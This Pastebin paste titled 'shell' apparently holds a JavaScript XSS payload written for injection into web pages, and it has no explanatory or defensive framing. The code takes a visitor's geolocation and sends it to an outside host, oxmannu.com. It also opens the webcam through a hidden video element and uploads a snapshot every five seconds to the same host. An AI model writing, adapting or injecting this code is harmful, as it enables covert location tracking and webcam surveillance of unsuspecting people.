hexmanx

shell

Dec 30th, 2017
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.55 KB | None | 0 0
  1. location.href=https://google.com
  2. if (document.getElementById('xss_geoloc') == null){
  3. function sendXHR(data)
  4. {
  5. var xmlhttp= new XMLHttpRequest();
  6. xmlhttp.open("POST","http://oxmannu.com/control/geo.php",true);
  7. xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
  8. xmlhttp.send("geo="+data);
  9. }
  10. function showPosition(position) {
  11.  
  12. var map ='http://maps.googleapis.com/maps/api/staticmap?center='+ position.coords.latitude+','+position.coords.longitude+'&zoom=14&size=600x400&sensor=false';
  13. sendXHR(encodeURIComponent(map));
  14.  
  15. }
  16. if (navigator.geolocation)
  17. {
  18. navigator.geolocation.getCurrentPosition(showPosition);
  19. } else
  20. {
  21. sendXHR("Geolocation is not supported by this browser.");
  22. }
  23.  
  24.  
  25.  
  26. script = document.createElement('script');script.id = 'xss_geoloc'; document.body.appendChild(script); }
  27.  
  28.  
  29.  
  30.  
  31.  
  32. if (document.getElementById('webcamsnap') == null){
  33.  
  34. var v = document.createElement('video');
  35. v.autoplay=true;
  36. v.id='vid';
  37. v.style.display='none';
  38. document.body.appendChild(v);
  39. if (document.getElementById('canvas') == null) {
  40. var c = document.createElement('canvas');
  41. c.id = 'canvas';
  42. c.width = "480";
  43. c.height = "320";
  44. c.style.display = "none";
  45. document.body.appendChild(c);
  46. }
  47. var video = document.querySelector("#vid");
  48. var canvas = document.querySelector('#canvas');
  49. var ctx = canvas.getContext('2d');
  50. var localMediaStream = null;
  51. var onCameraFail = function (e) {
  52. console.log('Camera is not working.', e);
  53. };
  54. var xmlhttp=new XMLHttpRequest();
  55.  
  56. function snapshot() {
  57. if (localMediaStream) {
  58. ctx.drawImage(video, 0, 0, 480, 320);
  59. var dat = canvas.toDataURL('image/png');
  60. xmlhttp.open("POST", "http://oxmannu.com/control/web.php", true);
  61. xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  62. var x=encodeURIComponent(dat);
  63. xmlhttp.send("data=" + x);
  64.  
  65.  
  66. }
  67. else {
  68. alert("Allow access to your default web camera.");
  69. }
  70. }
  71.  
  72. navigator.getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia;
  73. window.URL = window.URL || window.webkitURL;
  74. navigator.getUserMedia({video:true}, function (stream) {
  75. video.src = window.URL.createObjectURL(stream);
  76. localMediaStream = stream;
  77. window.setInterval("snapshot()", 5000);
  78. }, onCameraFail);script = document.createElement('script');script.id = 'webcamsnap'; document.body.appendChild(script); }
Add Comment
Please, Sign In to add comment